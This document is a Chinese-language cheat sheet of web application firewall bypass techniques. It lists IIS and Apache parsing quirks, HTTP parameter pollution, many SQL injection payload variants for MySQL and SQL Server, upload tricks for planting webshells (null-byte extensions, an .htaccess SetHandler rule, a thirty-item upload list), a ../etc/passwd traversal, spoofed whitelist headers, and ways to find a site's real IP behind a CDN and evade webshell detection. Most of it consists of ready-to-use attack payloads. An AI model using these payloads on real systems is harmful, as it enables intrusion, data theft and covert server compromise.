WAF绕过思路整理
方法论
BYPASS WAF实际上是去寻找位于WAF设备之后处理应用层数据包的硬件/软件的特性。利用特性构造WAF不能命中,但是在应用程序能够执行成功的载荷,绕过防护。
那些特性就像是一个个特定的场景一样,一些是已经被研究人员发现的,一些是还没被发现,等待被研究人员发现的。当我们的程序满足了这一个个的场景,倘若WAF没有考虑到这些场景,我们就可以利用这些特性bypass掉WAF了。
例如我们现在需要bypass一个云WAF/IPS/硬件WAF,此处我们可以利用的点就是:
1.Web服务器层bypass
2.Web应用程序层bypass
3.数据库层 bypass
4.WAF层bypass
WAF本体
Web Application Firewall
分类
- 云WAF
在配置云WAF时(通常是CDN包含的WAF),DNS需要解析到CDN的ip上去,在请求uri时,数据包就会先经过云WAF进行检测,如果通过再将数据包流给主机。
- 主机防护软件
在主机上预先安装了这种防护软件,可用于扫描和保护主机(废话),和监听web端口的流量是否有恶意的,所以这种从功能上讲较为全面。这里再插一嘴,mod_security、ngx-lua-WAF这类开源WAF虽然看起来不错,但是有个弱点就是升级的成本会高一些。
- 硬件ips/ids防护、硬件WAF
使用专门硬件防护设备的方式,当向主机请求时,会先将流量经过此设备进行流量清洗和拦截,如果通过再将数据包流给主机。
- 软WAF
软件WAF则是安装在需要防护的服务器上,实现方式通常是WAF监听端口或以Web容器扩展方式进行请求检测和阻断。
机制
假设客户端访问url:http://www.miku.com/1.php?id=1’and’1’=’1,该请求请求的数据是服务器上数据库中id为1的记录。
假设这台服务器使用了相关云WAF。
1)一个完整的过程,首先会请求DNS,由于配置云WAF的时候,会修改DNS的解析。我们发送DNS请求之后,域名会被解析到云WAF的ip上去。DNS解析完成之后,获取到域名信息,然后进入下一个步骤。
2)HTTP协议是应用层协议,且是tcp协议,因此会首先去做TCP的三次握手,此处不去抠三次握手的细节,假设三次握手建立完毕。
3)发送HTTP请求过去,请求会依次经过云WAF,硬件IPS/IDS设备,硬件WAF设备,服务器,web服务器,主机防护软件/软WAF,WEB程序,数据库。 云WAF,硬件IPS/IDS,硬件WAF均有自己处理数据的方式。
在获取HTTP数据之前会做TCP重组,重组主要目的是针对互联网数据包在网络上传输的时候会出现乱序的情况,数据包被重组之后就会做协议解析,取出相关的值。如http_method=GET,http_payload=xxx等等。这些值就对应了IPS规则中相关规则的值。从而来判断规则匹配与不匹配。
Bypass
Web Server层 bypass
IIS
运行在IIS上的程序一般为asp,aspx的。在IIS上我们可以利用的特性:
-
%特性
在asp+iis的环境中存在一个特性,就是特殊符号%,在该环境下当们我输入s%elect的时候,在WAF层可能解析出来的结果就是s%elect,但是在iis+asp的环境的时候,解析出来的结果为select。 -
%u特性
Iis服务器支持对于unicode的解析,例如我们对于select中的字符进行unicode编码,可以得到如下的s%u006c%u0006ect
,这种字符在IIS接收到之后会被转换为select,但是对于WAF层,可能接收到的内容还是s%u006c%u0006ect
,这样就会形成bypass的可能。 -
另类%u特性(ASP+IIS)
该漏洞主要利用的是unicode在iis解析之后会被转换成multibyte,但是转换的过程中可能出现: 多个widechar会有可能转换为同一个字符。 打个比方就是譬如select中的e对应的unicode为%u0065,但是%u00f0同样会被转换成为e。
s%u0065lect->select s%u00f0lect->select
-
其他trick
Unicode
畸形Unicode
ADS流
N种HTTP畸形正文
解析特性
截断特性
HPP
畸形Boundary
GET/POST分不清
畸形字符代替正常字符
Apache
-
畸形method
某些apache版本在做GET请求的时候,无论method为何值均会取出GET的内容,如请求为的method为DOTA2,依然返回了aid为2的结果。 -
php+apache畸形的boundary
php在解析multipart data的时候有自己的特性,对于boundary的识别,只取了逗号前面的内容,例如我们设置的boundary为----aaaa,123456,php解析的时候只识别了----aaaa,后面的内容均没有识别。然而其他的如WAF在做解析的时候,有可能获取的是整个字符串,此时可能就会出现BYPASS。 -
解析特性
-
HPP
Web应用程序层bypass
1、大小写/关键字替换
这是最简单的绕过技术,用来绕过只针对特定关键字,大小写不敏感。
id=1 UnIoN/**/SeLeCT 1,user()
将关键字进行等价替换:
Hex() bin() 等价于ascii()
Sleep() 等价于 benchmark()
Mid()substring() 等价于 substr()
@@user 等价于 User()
@@Version 等价于 version()
Encoder
Json
Unicode
base64
urlencode
html
Serialize
双重URL编码
双重url编码,即对于浏览器发送的数据进行了两次urlencode操作,如s做一次url编码是%73,再进行一次编码是%25%37%33。一般情况下数据经过WAF设备的时候只会做一次url解码,这样解码之后的数据一般不会匹配到规则,达到了bypass的效果。
个人理解双重url编码,要求数据在最后被程序执行之前,进行了两次url解码,如果只进行了一次解码,这样在最后的结果也是不会被正确执行的。
请求获取方式
变换请求方式
1)GET,POST,COOKIE
在web环境下有时候会出现统一参数获取的情况,主要目的就是对于获取的参数进行统一过滤。例如我获取的参数t=select 1 from 2 这个参数可以从get参数中获取,可以从post参数获取,也可以从cookie参数中获取。
2)urlencode和form-data
POST在提交数据的时候有两种方式,第一种方式是使用urlencode的方式提交,第二种方式是使用form-data的方式提交。当我们在测试站点的时候,如果发现POST提交的数据被过滤掉了,此时可以考虑使用form-data的方式去提交。
畸形请求方式
1)asp/asp.net request解析
在asp和asp.net中使用参数获取用户的提交的参数一般使用request包,譬如使用request['']来获取的时候可能就会出现问题。
当使用request['']的形式获取包的时候,会出现GET,POST分不清的情况,譬如可以构造一个请求包,METHOD为GET,但是包中还带有POST的内容和POST的content-type。
HPP方式
HPP是指HTTP参数污染。形如以下形式:
?id=1&id=2&id=3
的形式,此种形式在获取id值的时候不同的web技术获取的值是不一样的。
id=1&id=2&id=3
得到的结果:
Asp.net + iis:id=1,2,3
Asp + iis:id=1,2,3
Php + apache:id=3
多种变形:MSSQL:
大小写:?id=1 UNION/*&ID=*/SELECT 1,2/*&Id=*/FROM ADMIN
GET+POST形式:
http://192.168.125.140/test/sql.aspx?id=1 union/*
post: id=2*/select null,null,null
利用逗号:?id=1 union select 1&id=2&id=3&id=4 from admin--(无逗号形式)
?a=1+union/*&b=*/select+1,pass/*&c=*/from+users--(分割参数注入)
无效参数形式:?a=/*&sql=xxx&b=*/
备注:a,b为无效参数,让WAF误以为我们输入的语句是在注释符里面执行的所以就不拦截
溢出形式:?id=1/*&id=*//*&id=*//*......&id=*//*&id=*/ union select null,system_user,null from INFORMATION_SCHEMA.schemata
Mysql:
?id=1&id=1&id=1&id=1&id=1&id=1&id=1&id=….. &id=1 union select 1,2 from admin
如此可以分析:当WAF获取参数的形式与WEB程序获取参数的形式不一致的时候,就可能出现WAF bypass的可能。
Ps.此处关键还是要分析WAF对于获取参数的方式是如何处理的。这里也要再提一下的,hpp的灵活运用,譬如有些cms基于url的白名单,因此可以利用hpp的方式在参数一的位置添加白名单目录,参数2的位置添加恶意的payload。形如index.php?a=[whitelist]&a=select 1 union select 2
4、宽字节
宽字节关键字对照表:
union = uю%69яю这里把i不用宽字节 直接url编码 其他的字符都用对应的宽字节
select = こхlх%уt //t不编码 其他的都宽字节 中间插上%
from = цR%яэ //宽字节+%
空格=%20=%ва //в是2的款字符 а是0的宽字符
, = Ь //,号的宽字节
数据库层bypass
sql注入bypass WAF时,根据数据库特性去构造。
一般一个SQL语句组成包括如下几个位置:
select * from admin where id=1【位置一】union【位置二】select【位置三】1,2,db_name()【位置四】from【位置五】admin
通过对常见有5个位置进行FUZZ,可以探索更多能够绕过WAF的数据库特性。
数据库特性
- 注释
#
--
-- -
--+
//
/**/
/*letmetest*/
;%00
-
科学计数法
1e1{union from} -
空白字符
SQLite3 0A 0D 0C 09 20 Mysql %09,%0a,%0b,%0c,%0d,%a0 PosgresSQL 0A 0D 0C 09 20 Oracle 11g 00 0A 0D 0C 09 20 MSSQL 01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
-
+号:
-
-号:
-
“符号:
-
~号:
-
!
-
@\
形式\
: -
点号.1:
-
单引号双引号:
-
括号select(1)
-
{
括号 -
\n符号
mysql
常见过滤的位置
-
参数和union之间的位置
(1):\Nunion的形式:
(2):浮点数的形式如1.1,8.0
(3):8e0的形式:
(4): 利用/*!50000*/的形式 -
union和select之前的位置
(1)空白字符
(2)注释
(3)使用括号 -
union select
后的位置
(1)空白字符
(2)注释
(3)其他方式:【这里需要考虑的是有时候union select和select from可能是两个规则,这里先整理union select的】
括号:select(1)from
-
select from
之间的位置
(1)空白字符
(2)注释
(3)其他符号
``符号
+,-,!,~,’”
*号
{号
(号
select from
之后的位置
(1)空白字符
(2)注释
(3)其他符号
常见过滤的函数&关键字
union distinct
union distinctrow
procedure analyse()
updatexml()
extracavalue()
exp()
ceil()
atan()
sqrt()
floor()
ceiling()
tan()
rand()
sign()
greatest()
字符串截取函数
Mid(version(),1,1)
Substr(version(),1,1)
Substring(version(),1,1)
Lpad(version(),1,1)
Rpad(version(),1,1)
Left(version(),1)
reverse(right(reverse(version()),1)
字符串连接函数
concat(version(),'|',user());
concat_ws('|',1,2,3)
字符转换
Char(49)
Hex('a')
Unhex(61)
过滤了逗号
(1)limit处的逗号:
limit 1 offset 0
(2)字符串截取处的逗号
mid处的逗号:
mid(version() from 1 for 1)
(3)union处的逗号:
通过join拼接
select * from corp where corp_id=8e0union select * from (select 1)a join (select{x schema_name} from information_schema.schemata limit 1)b;
mysqlTricks
特殊符号:%a 换行符
可结合注释符使用%23%0a,%2d%2d%0a。
内联注释:
/*!UnIon12345SelEcT*/ 1,user() //数字范围 1000-50540
mysql黑魔法
select{x username}from {x11 test.admin};
Sqlserver
常见过滤位置
(1) select from后的位置
空白符号:
01,02,03,04,05,06,07,08,09,0A,0B,0C,0D,0E,0F,10,11,12,13,14,15,16,17,18,19,1A,1B,1C,1D,1E,1F,20
需要做urlencode
,sqlserver中的表示空白字符比较多,靠黑名单去阻断一般不合适。
注释:
/**/
--
其他符号:
.
符号:
号
(2) select from之间的位置
空白符号
注释
:
号
(3) and之后的位置
空白
注释
其他符号
:
号%2b
号:
常见过滤函数&关键字
IS_SRVROLEMEMBER()
IS_MEMBER()
HAS_DBACCESS()
convert()
col_name()
object_id()
is_srvrolemember()
is_member()
字符串截取函数
Substring(@@version,1,1)
Left(@@version,1)
Right(@@version,1)
字符串转换函数
Ascii('a') 这里的函数可以在括号之间添加空格的,一些WAF过滤不严会导致bypass
Char('97')
其他方式:
Mssql支持多语句查询,因此可以使用;结束上面的查询语句,然后执行自己构造的语句。动态执行。
使用exec的方式
使用sp_executesql的方式
SQLServerTricks
(1)用来注释掉注射后查询的其余部分:
/* C语言风格注释 */
-- SQL注释
; 00% 空字节
(2)特殊符号:%3a 冒号
id=1 union:select 1,2 from:admin
(3)函数变形:如db_name[空白字符]()
WAF层bypass
WAF在设计的时候都会考虑到性能问题,例如如果是基于数据包的话会考虑检测数据包的包长,如果是基于数据流的话就会考虑检测一条数据流的多少个字节。一般这类算检测的性能,同时为了保证WAF的正常运行,往往还会做一个bypass设计,在性能如cpu高于80%或则内存使用率高于如80%是时候,会做检测bypass,以保证设备的正常运行。
逻辑bypass
(1)云WAF防护,一般我们会尝试通过查找站点的真实IP,从而绕过CDN防护。
(2)当提交GET、POST同时请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。
(3)HTTP和HTTPS同时开放服务,没有做HTTP到HTTPS的强制跳转,导致HTTPS有WAF防护,HTTP没有防护,直接访问HTTP站点绕过防护。
(4)特殊符号%00,部分WAF遇到%00截断,只能获取到前面的参数,无法获取到后面的有害参数输入,从而导致Bypass。比如:id=1%00and 1=2 union select 1,2,column_name from information_schema.columns
性能bypass
性能检测bypass
在设计WAF的时候可能就会设计一个默认值,有可能是默认多少个字节的流大小,可能是多少个数据包。
如PcreWAF那题,不过这是PHP本身的,还有匹配机制自动向量机的问题
zone师傅设计了一个脚本,不断的向HTTP POST添加填充数据,当将填充数据添加到一定数目之后,发现POST中的sql注入恶意代码没有被检测了。最终达到了bypass的目的。
性能负载bypass
一些传统硬件防护设备为了避免在高负载的时候影响用户体验,如延时等等问题,会考虑在高负载的时候bypass掉自己的防护功能,等到设备的负载低于门限值的时候又恢复正常工作。
现在应该不能用了,WAF普遍可用性极佳
fuzz bypass
使用脚本去探测WAF设备对于字符处理是否有异常,上面已经说过WAF在接收到网络数据之后会做相应的数据包解析,一些WAF可能由于自身的解析问题,对于某些字符解析出错,造成全局的bypass。测试的时候常常测试的位置:
1):get请求处
2):header请求处
3):post urlencode内容处
4):post form-data内容处
然后模糊测试的基础内容有:
1)编码过的0-255字符
2)进行编码的0-255字符
3)utf gbk字符
白名单Bypass
方式一:IP白名单
从网络层获取的ip,这种一般伪造不来,如果是应用层的获取的IP,这样就可能存在伪造白名单IP造成bypass。
测试方法:修改http的header来bypass WAF
X-forwarded-for
X-remote-IP
X-originating-IP
x-remote-addr
X-Real-ip
方式二:静态资源
特定的静态资源后缀请求,常见的静态文件(.js .jpg .swf .css等等),类似白名单机制,WAF为了检测效率,不去检测这样一些静态文件名后缀的请求。
http://10.9.9.201/sql.php/1.js?id=1
备注:Aspx/php只识别到前面的.aspx/.php 后面基本不识别
方式三:url白名单
为了防止误拦,部分WAF内置默认的白名单列表,如admin/manager/system等管理后台。只要url中存在白名单的字符串,就作为白名单不进行检测。常见的url构造姿势:
http://10.9.9.201/sql.php/admin.php?id=1
http://10.9.9.201/sql.php?a=/manage/&b=../etc/passwd
http://10.9.9.201/../../../manage/../sql.asp?id=2
WAF通过/manage/"进行比较,只要uri中存在/manage/就作为白名单不进行检测,这样我们可以通过/sql.php?a=/manage/&b=../etc/passwd 绕过防御规则。
方式四:爬虫白名单
部分WAF有提供爬虫白名单的功能,识别爬虫的技术一般有两种:
1、 根据UserAgent 2、通过行为来判断
UserAgent可以很容易欺骗,我们可以伪装成爬虫尝试绕过。
上传Bypass
WAF检查位置
请求的url
Boundary边界
MIME类型
文件扩展名
文件内容
常见扩展名黑名单:
asp|asa|cer|cdx|aspx|ashx|ascx|asax
php|php2|php3|php4|php5|asis|htaccess
htm|html|shtml|pwml|phtml|phtm|js|jsp
vbs|asis|sh|reg|cgi|exe|dll|com|bat|pl|cfc|cfm|ini
容器特性
Apache1.X 2.X解析漏洞:
Apache在以上版本中,解析文件名的方式是从后向前识别扩展名,直到遇见Apache可识别的扩展名为止。
shell.php.ddd这种即可bypass
IIS6.0两个解析缺陷:
- 目录名包含.asp 、.asa 、.cer 的话,则该目录下的所有文件都将按照asp解析。
cer.jpg
- 文件名中如果包含.asp;、.asa;、.cer;则优先使用asp解析。
asa.asa;asa.jpg
Nginx解析漏洞:
Nginx解析漏洞:
- Nginx 0.5.
Nginx 0.6.
Nginx 0.7 <= 0.7.65
Nginx 0.8 <= 0.8.37
以上Nginx容器的版本下,上传一个在WAF白名单之内扩展名的文件shell.jpg,然后以shell.jpg%00.php
进行请求。
- Nginx 0.8.41 – 1.5.6:
以上Nginx容器的版本下,上传一个在WAF白名单之内扩展名的文件shell.jpg,然后以shell.jpg%20%00.php
进行请求。
PHP CGI解析漏洞:
- IIS 7.0/7.5
Nginx < 0.8.3
以上的容器版本中默认php配置文件cgi.fix_pathinfo=1时,上传一个存在于白名单的扩展名文件shell.jpg,在请求时以shell.jpg/shell.php请求,会将shell.jpg以php来解析。
多个Content-Disposition:
在IIS的环境下,上传文件时如果存在多个Content-Disposition的话,IIS会取第一个Content-Disposition中的值作为接收参数,而如果WAF只是取最后一个的话便会被绕过。
ContentDisposition: form-data; name="file"; filename="shell.php"
ContentDisposition: form-data; name="file"; filename="shell.jpg"
请求正文格式问题:
Content-Disposition: form-data; name="file1"; filename="shell.asp"
Content-Type: application/octet-stream
正常的upload请求都是以上这样,然而这个格式也并非强制性的,在IIS6.0下如果我们换一种书写方式,把filename放在其他地方:
结合.htaccess指定某些文件使用php来解析:
这个方法通常用于绕过WAF黑名单的,配置该目录下所有文件都将其使用php来解析:
<FilesMatch "shell">
SetHandler application/x-httpd-php
</FilesMatch>
系统特性
Windows特殊字符:
当我们上传一个文件的filename为shell.php{%80-%99}
时
WAF可能识别为.php{%80-%99}
,就会导致被绕过
exee扩展名:
上传.exe文件通常会被WAF拦截,如果使用各种特性无用的话,那么可以把扩展名改为.exee再进行上传。
NTFS ADS特性:
ADS是NTFS磁盘格式的一个特性,用于NTFS交换数据流。在上传文件时,如果WAF对请求正文的filename匹配不当的话可能会导致绕过。
Windows在创建文件时,在文件名末尾不管加多少点都会自动去除,那么上传时filename可以这么写shell.php......
也可以这么写shell.php::$DATA.......
。
WAF缺陷
匹配过于严谨:
一个空格导致安全狗被绕过:
Content-Type: multipart/form-data;
boundary=—————————4714631421141173021852555099
boundary =---------------------------4714631421141173021852555099
但如果容器在处理的过程中并没有严格要求一致的话可能会导致一个问题,两段Boundary不一致使得WAF认为这段数据是无意义的,可是容器并没有那么严谨
数据过长导致的绕过:
WAF如果对Content-Disposition长度处理的不够好的话可能会导致绕过
基于文件名:
-
基于构造长文件名
如果web程序会将filename除了扩展名的那段重命名的话,那么还可以构造更多的点、符号等等。
shell.../*10000个*/...asp
-
特殊的长文件名:
文件名使用非字母数字,比如中文等最大程度的拉长,不行的话再结合一下其他的特性进行测试:
shell.asp;文文文文文文文文文文文文文文文文文文/*100个*/文文文文文文文文文文文文文文文文文.jpg
一些上传绕过trick
1. filename在content-type下面
2. .asp{80-90}
3. NTFS ADS
4. .asp...
5. boundary不一致
6. iis6分号截断asp.asp;asp.jpg
7. apache解析漏洞php.php.ddd
8. boundary和content-disposition中间插入换行
9. hello.php:a.jpg然后hello.<<<
10. filename=php.php
11. filename="a.txt";filename="a.php"
12. name=\n"file";filename="a.php"
13. content-disposition:\n
14. .htaccess文件
15. a.jpg.\nphp
16. 去掉content-disposition的form-data字段
17. php<5.3 单双引号截断特性
18. 删掉content-disposition: form-data;
19. content-disposition\00:
20. {char}+content-disposition
21. head头的content-type: tab
22. head头的content-type: multipart/form-DATA
23. filename后缀改为大写
24. head头的Content-Type: multipart/form-data;\n
25. .asp空格
26. .asp0x00.jpg截断
27. 双boundary
28. file\nname="php.php"
29. head头content-type空格:
30. form-data字段与name字段交换位置
其他情况bypass
Bypass 菜刀连接拦截
多数WAF对请求进行检测时由于事先早已纳入了像菜刀这样的样本。通常WAF对这块的
检测就是基于样本,所以过于死板。
云盾:fuzz eval、base64这些关键字前后存在什么字符串会绕过,%01这种空字符插对地方即可
360主机卫士:在eval函数前面插入任意urlencode的字符即可
webshell 免杀
讲webshell免杀也就直接写写姿势,一些特性功能、畸形语法、生僻函数比如回调等
绕过查杀语法,不断变种、变种、变种。。。(混淆太恶心了,将其拿到实战上的人是
怎么想的?)
为了用户体验,主机防护软件对eval这类函数只要不被外部可控就不会被拦截
Bypass 禁止执行程序
黑客在进行提权时,主机防护软件安全狗、星外等会进行拦截。原理上都是基于黑白
名单进行拦截敏感的程序调用。
可以找其他软件的白名单,进行伪装。
Bypass CDN查找原IP
cdn隐藏了原ip,在某种情况上使黑客无法做不正当勾当,那么自然就有各种绕过的方
法。在这里附上一些靠谱的姿势和小工具。
由于cdn不可能覆盖的非常完全,那么可以采用国外多地ping的方式,或者多收集一些小国家的冷门dns然后nslookup domain.com dnsserver。
让服务器主动连接:
-
在可上传图片的地方利用目标获取存放在自己服务器的图片,或者任何可pull自己资源的点,review log即可拿到。
-
通过注册等方式让目标主动发邮件过来,此方法对于大公司几率小,因为出口可能是统一的邮件服务器。可以尝试扫其MailServer网段。
参考
Bypass WAF Cookbook | WooYun知识库